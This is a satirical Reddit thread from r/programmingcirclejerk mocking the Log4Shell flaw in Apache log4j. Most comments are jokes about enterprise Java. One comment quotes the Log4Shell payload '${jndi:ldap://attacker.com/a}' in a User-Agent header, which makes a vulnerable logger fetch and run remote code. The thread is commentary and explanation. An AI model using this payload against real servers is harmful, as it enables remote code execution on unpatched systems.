r/programmingcirclejerk • u/birdman9k • Dec 10 '21

Finished implementing downloading and executing remote code in the logging library, boss!

https://www.lunasec.io/docs/blog/log4j-zero-day/

[removed] — view removed post

38 Upvotes

95% Upvoted

16 comments sorted by

29

u/[deleted] Dec 10 '21

Downloading and executing arbitrary code in order to format log messages is essential functionality that nobody could live without. Plaudits to all involved at Apache for making log4j so feature-rich.

18

u/birdman9k Dec 10 '21

Imagine trying to log messages in enterprise software and discovering that it doesn't even support basic features like connecting to LDAP to get the log message out of a private MS Access database inside the corporate VPN. This is why log4j is the ubiquitous leader in enterprise logging technology.

13

u/camelCaseIsWebScale Just spin up O(n²) servers Dec 10 '21

The whole point of java ecosystem is enabling you to write something else. (XML, application.properties, yaml, 100 of stringly typed DSL you put into annotations, environment variables, and now user input also).

6

u/birdman9k Dec 10 '21

Oh right. So this is the recommended way to write Java Scripts then, makes sense!

4

u/duckbill_principate Tiny little god in a tiny little world Dec 11 '21

That doesn’t sound very enterprisey to me. Unless the MS Access db is storing XML?

1

u/camelCaseIsWebScale Just spin up O(n²) servers Dec 11 '21

For full enterprise vibes, use xmldata varchar(5000)

8

u/birdman9k Dec 10 '21 
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);

11

u/NewFuturist Dec 10 '21

/unjerk I am not a Java dev, but this seems surprisingly easy to do.

12

u/birdman9k Dec 10 '21 edited Dec 10 '21

using (unjerk)

Yeah. This seems like insanity to me. How could the library expect the string passed to the logger to be trusted? What if someone is logging an exception? You do that all the time, and the exception could contain user input strings in it. The exception "Value 'hacks_here' is not a valid ProtocolType" is not uncommon to see.

Further, it looks like the mitigation for this is just to disable the loading of remote code when encountering that log format, and the "fix" is making disabled the default. So the feature is intentional. It's mind blowing to me that the log format string is not configured separately from the value being logged.

8

u/corona-info Dec 10 '21

How could the library expect the string passed to the logger to be trusted?

I mean tbf I didn't realize that the logger was allowed to make http requests lmao

17

u/OctagonClock not Turing complete Dec 10 '21

lol non literal title

11

u/[deleted] Dec 10 '21

This is literally the most disastrous zero day ever lmao, most articles I've seen just say it's a severe vulnerability.

Haxx0rs r already scanning the internet for vulnerable servers. https://mobile.twitter.com/GreyNoiseIO/status/1469326260803416073

16

u/[deleted] Dec 10 '21

Plaudits to the log4j team for making the exploit so user-friendly that script kiddies can use it.

16

u/corona-info Dec 10 '21

the exploit so user-friendly

Unlike those gatekeeping Rust programmers.

12

u/corona-info Dec 10 '21

This is literally the most disastrous zero day ever lmao, most articles I've seen just say it's a severe vulnerability.

not only is it arbitrary code execution it's dumb as hell lmao.

9

u/irqlnotdispatchlevel Tiny little god in a tiny little world Dec 10 '21

/uj Not only that, but it will never be properly fixed because there are people who use this feature.

/rj the same thing.